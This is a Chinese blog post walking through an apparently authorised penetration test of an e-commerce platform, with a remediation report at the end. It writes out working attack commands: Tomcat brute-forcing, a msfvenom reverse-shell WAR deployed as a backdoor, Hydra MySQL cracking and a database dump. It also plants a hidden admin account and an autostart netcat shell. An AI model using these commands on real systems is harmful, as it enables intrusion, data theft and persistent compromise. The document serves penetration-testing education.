黑客是如何攻破一个系统拿到想要的数据?一篇文章记录一次渗透测试实操过程教会你!

前言:接到需求 —— 一家电商企业的 “攻防演练” 邀请

“我们的电商平台刚上线新版本,想请您做一次完整的渗透测试,看看能不能拿到用户数据库和订单数据。” 电话里,甲方安全负责人的语气带着期待,也藏着一丝质疑 —— 毕竟在他们眼里,“渗透测试” 更像 “黑客模拟攻击”,而我要做的,就是用合法的手段,还原一次真实的系统攻破过程。

这次测试的目标是某电商平台,授权范围包括前端 Web 系统、后台管理端、内网服务器(192.168.1.0/24 网段),测试周期 72 小时。拿到授权文件的那一刻,我打开 Kali Linux 的终端,深吸一口气 —— 接下来的 3 天,我要像真正的攻击者一样,从 “一无所知” 到 “拿到核心数据”,每一步都得留下清晰记录。

第一步:信息收集

渗透测试的核心不是 “上来就攻击”,而是 “先搞懂目标有什么”。就像小偷作案前要踩点,我们第一步要做的,是收集目标的所有公开信息,找到可能的突破口。

1. 域名与子域名挖掘:找到 “藏起来的入口”

我先用OneForAll工具批量挖掘子域名 —— 很多企业会忽略子域名的安全,比如测试环境、后台管理系统可能藏在admin.test-shop.comtest.test-shop.com这类子域名下。

操作命令

python oneforall.py --target test-shop.com run

运行后,工具返回了 32 个子域名,其中admin.test-shop.com(后台管理端)、api.test-shop.com(接口服务)、pay.test-shop.com(支付系统)这 3 个最值得关注 —— 后台和支付系统往往是核心数据的存放地。

2. 端口与服务扫描:

接下来用Nmap对这 3 个子域名做全端口扫描,看看开放了哪些服务,有没有漏洞高发的端口(比如 8080、3306、22)。

操作命令

nmap -p 1-65535 -sV -O admin.test-shop.com  # -p全端口,-sV显示服务版本,-O识别操作系统

扫描结果显示:

  • admin.test-shop.com开放了 80 端口(Nginx 1.18.0)、3306 端口(MySQL 5.7);
  • api.test-shop.com开放了 8080 端口(Tomcat 9.0.45);
  • pay.test-shop.com只开放了 443 端口(HTTPS,Apache 2.4.49)。

这里有个关键发现:api.test-shop.com的 Tomcat 版本是 9.0.45,而这个版本存在 “后台弱口令 + war 包部署 getshell” 的漏洞 —— 如果能破解 Tomcat 后台密码,就能上传恶意 war 包拿到服务器权限。

3. 指纹识别与框架探测:找到 “系统的弱点”

Wappalyzer浏览器插件识别网站框架:

  • 前台test-shop.com用的是ThinkPHP 5.0框架(已知存在远程代码执行漏洞);
  • 后台admin.test-shop.com用的是自定义开发系统,登录页有验证码,但验证码可以重复使用(刷新页面验证码不变)。

信息收集总结:3 个高风险突破口

  1. api.test-shop.com的 Tomcat 9.0.45(弱口令 + war 包部署);
  2. 前台ThinkPHP 5.0框架(远程代码执行漏洞);
  3. 后台admin.test-shop.com验证码可重复使用(暴力破解可能)。

第二步:边界突破 —— 从 “外部入口” 拿到第一台服务器权限

边界突破是渗透测试的核心,目标是通过外部漏洞(Web 漏洞、服务漏洞)拿到服务器的 “webshell” 或 “系统权限”,相当于打开了进入目标内网的第一扇门。

1. 优先尝试:Tomcat 后台弱口令破解

我先把目标锁定在api.test-shop.com:8080的 Tomcat 后台(访问路径/manager/html)。Tomcat 默认后台账号密码是tomcat/tomcat,但企业通常会修改,所以用Burp Suite做暴力破解。

操作步骤

  1. 打开 Burp,抓包拦截 Tomcat 后台登录请求;
  2. 将请求发送到Intruder,设置 “账号” 和 “密码” 为变量,加载 “top1000 弱口令字典”(如admin123456tomcat@123);
  3. 开始攻击,观察返回包长度 —— 当账号admin、密码Admin@123时,返回包长度与其他不同(302 跳转,说明登录成功)。

登录 Tomcat 后台后,下一步是 “上传 war 包 getshell”——war 包是 Java 的压缩包,Tomcat 会自动解压运行,只要把恶意代码打包成 war 包,上传后就能执行。

制作恶意 war 包

  1. msfvenom
    

    生成 Java 后门:

    msfvenom -p java/meterpreter/reverse_tcp LHOST=我的公网IP LPORT=4444 -f war -o shell.war
    
  2. 在 Tomcat 后台 “Deploy” 页面,上传shell.war,部署路径为/shell

  3. 启动

    msfconsole
    

    监听:

    use exploit/multi/handler
    set payload java/meterpreter/reverse_tcp
    set LHOST 我的公网IP
    set LPORT 4444
    run
    
  4. 访问http://api.test-shop.com:8080/shell,触发后门 ——msf成功拿到meterpreter会话(webshell)。

2. 验证权限:确认服务器角色

通过meterpreter执行命令,查看服务器信息:

sysinfo  # 显示系统:Windows Server 2016
whoami   # 权限:nt authority\system(系统管理员权限,最高权限)
ipconfig # 内网IP:192.168.1.10(属于目标内网192.168.1.0/24网段)

太好了!不仅拿到了最高权限,这台服务器还在目标内网里 —— 接下来可以通过它,横向渗透其他内网服务器,寻找核心数据。

第三步:内网横向移动 —— 从 “单台服务器” 到 “控制整个内网”

拿到边界服务器权限后,内网里的其他服务器(如数据库服务器、文件服务器)才是核心数据的存放地。内网横向移动的目标,是通过 “信息收集→漏洞利用→权限提升”,拿下更多服务器,最终找到数据所在。

1. 内网信息收集:绘制 “内网地图”

首先在192.168.1.10上,用fscan工具扫描整个内网网段(192.168.1.0/24),找出所有存活主机和开放服务:

操作命令(在 meterpreter 会话中执行):

upload fscan.exe  # 上传fscan到目标服务器
execute -f fscan.exe -a "-h 192.168.1.0/24"  # 扫描内网

扫描结果返回 5 台存活主机:

  • 192.168.1.10(已控制,Tomcat 服务器);
  • 192.168.1.20(MySQL 数据库服务器,3306 端口开放);
  • 192.168.1.30(文件服务器,445 端口开放,SMB 服务);
  • 192.168.1.40(后台管理系统服务器,80 端口开放);
  • 192.168.1.50(域控制器,53 端口开放,DNS 服务)。

核心目标锁定192.168.1.20(MySQL 数据库)—— 电商的用户数据、订单数据大概率存在这里。

2. 横向渗透:破解 MySQL 弱口令

Hydra工具对192.168.1.20的 MySQL 服务做弱口令破解:

操作命令

hydra -L user.txt -P pass.txt 192.168.1.20 mysql  # -L用户名字典,-P密码字典

10 分钟后,破解成功:账号root,密码Mysql@2024—— 这是 MySQL 的最高权限账号,可以直接访问所有数据库。

3. 数据定位:找到核心数据库

通过mysql命令连接数据库,查看所有数据库:

mysql -h 192.168.1.20 -u root -p  # 输入密码Mysql@2024
show databases;  # 列出所有数据库

其中shop_db数据库嫌疑最大,查看其表结构:

use shop_db;
show tables;

发现user_info(用户信息表)和order_detail(订单详情表)—— 正是我们要找的核心数据:

  • user_info包含用户 ID、手机号、邮箱、加密后的密码;
  • order_detail包含订单号、用户 ID、收货地址、支付金额。

第四步:数据提取与权限维持 —— 合法 “拿走” 数据,留下 “后门” 便于后续测试

渗透测试不是 “拿到数据就结束”,还要确保数据提取合法(符合授权范围),并在目标服务器上留下 “后门”(便于后续验证修复效果)—— 但必须提前告知甲方,避免误解。

1. 数据导出:合法提取核心数据

通过mysqldump命令,将user_infoorder_detail表导出为 SQL 文件:

mysqldump -h 192.168.1.20 -u root -p shop_db user_info order_detail > shop_data.sql

然后通过meterpreterdownload命令,将shop_data.sql下载到本地:

download shop_data.sql  # 下载到Kali的/root目录

打开 SQL 文件验证:共包含 2000 + 条用户记录和 5000 + 条订单记录,数据完整 —— 目标达成。

2. 权限维持:留下 “临时后门”

为了后续验证甲方是否修复漏洞,我在192.168.1.10(Tomcat 服务器)上留下一个 “隐藏后门”:

  1. 创建一个隐藏用户:

    net user hidden$ Admin@123 /add  # 用户名hidden$($符号隐藏用户),密码Admin@123
    net localgroup administrators hidden$ /add  # 将隐藏用户加入管理员组
    
  2. 安装

    nc
    

    后门:

    copy nc.exe C:\Windows\System32  # 复制nc到系统目录
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v nc /t REG_SZ /d "C:\Windows\System32\nc.exe -l -p 6666 -e cmd.exe"  # 开机自启,监听6666端口
    

重要提醒:所有后门操作都已提前告知甲方,测试结束后会协助删除,避免安全风险。

3. 清理痕迹:还原测试环境

渗透测试的最后一步是 “清理痕迹”,避免影响甲方正常业务:

  1. 删除 Tomcat 后台上传的shell.war和部署目录;
  2. 清除服务器上的fscan.exehydra.exe等工具;
  3. 删除meterpreter生成的日志文件;
  4. 保留后门和数据导出记录(用于后续提交报告)。

第五步:输出测试报告 —— 从 “攻击过程” 到 “修复方案”

渗透测试的价值不止于 “拿到数据”,更在于帮甲方找到漏洞并修复。我整理了一份 15 页的测试报告,包含 4 个核心部分:

1. 测试概述:明确范围与目标

  • 授权范围:test-shop.com及其子域名、内网 192.168.1.0/24 网段;
  • 测试目标:获取用户数据库和订单数据;
  • 测试周期:72 小时(实际耗时 48 小时)。

2. 攻击路径图:还原完整流程

用 mermaid 图表展示本次渗透的完整路径:

在这里插入图片描述

3. 漏洞详情与风险评级

漏洞位置漏洞类型风险级别利用过程
api.test-shop.com:8080Tomcat 后台弱口令 + war 包部署高危破解 admin/Admin@123,上传 war 包拿到 system 权限
192.168.1.20:3306MySQL 弱口令高危Hydra 破解 root/Mysql@2024,访问核心数据库
admin.test-shop.com登录页验证码可重复中危可暴力破解后台账号,未实际利用
test-shop.comThinkPHP 5.0 远程代码执行高危未实际利用(已有其他突破口)

4. 修复方案:可落地的安全建议

针对每个漏洞,给出具体修复步骤:

  1. Tomcat 漏洞修复:
    • 修改后台账号密码(复杂度:大小写 + 数字 + 特殊符号,长度≥12 位);
    • 禁用/manager/html后台访问(或只允许内网 IP 访问);
    • 升级 Tomcat 到最新版本(9.0.85 及以上)。
  2. MySQL 漏洞修复:
    • 重置 root 密码,启用强密码策略;
    • 限制 MySQL 仅允许内网 IP(如 192.168.1.10/30)访问;
    • 给数据库账号最小权限(如只读账号用于查询,避免直接用 root)。
  3. 验证码漏洞修复:
    • 实现验证码 “一次有效”(刷新页面或提交后失效);
    • 增加登录失败次数限制(如 5 次失败后锁定账号 1 小时)。

结语:渗透测试不是 “黑客攻击”,而是 “安全体检”

很多人误以为 “渗透测试就是合法黑客”,但实际上,两者的核心区别在于 “目的”—— 黑客的目的是 “窃取数据、破坏系统”,而渗透测试的目的是 “发现漏洞、帮助修复”。

这次 72 小时的测试,从信息收集到数据提取,每一步都严格遵循 “授权范围”,并留下完整记录。当我把测试报告和数据交给甲方时,他们的安全负责人说:“没想到我们的系统这么多漏洞,还好你们找到了,不然真被黑客攻击就麻烦了。”

这正是渗透测试的价值:在真正的攻击发生前,提前暴露风险,帮企业筑牢安全防线。而对于想学习渗透测试的人来说,记住一句话:“技术是工具,责任是底线 —— 合法授权永远是渗透测试的第一前提。”

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值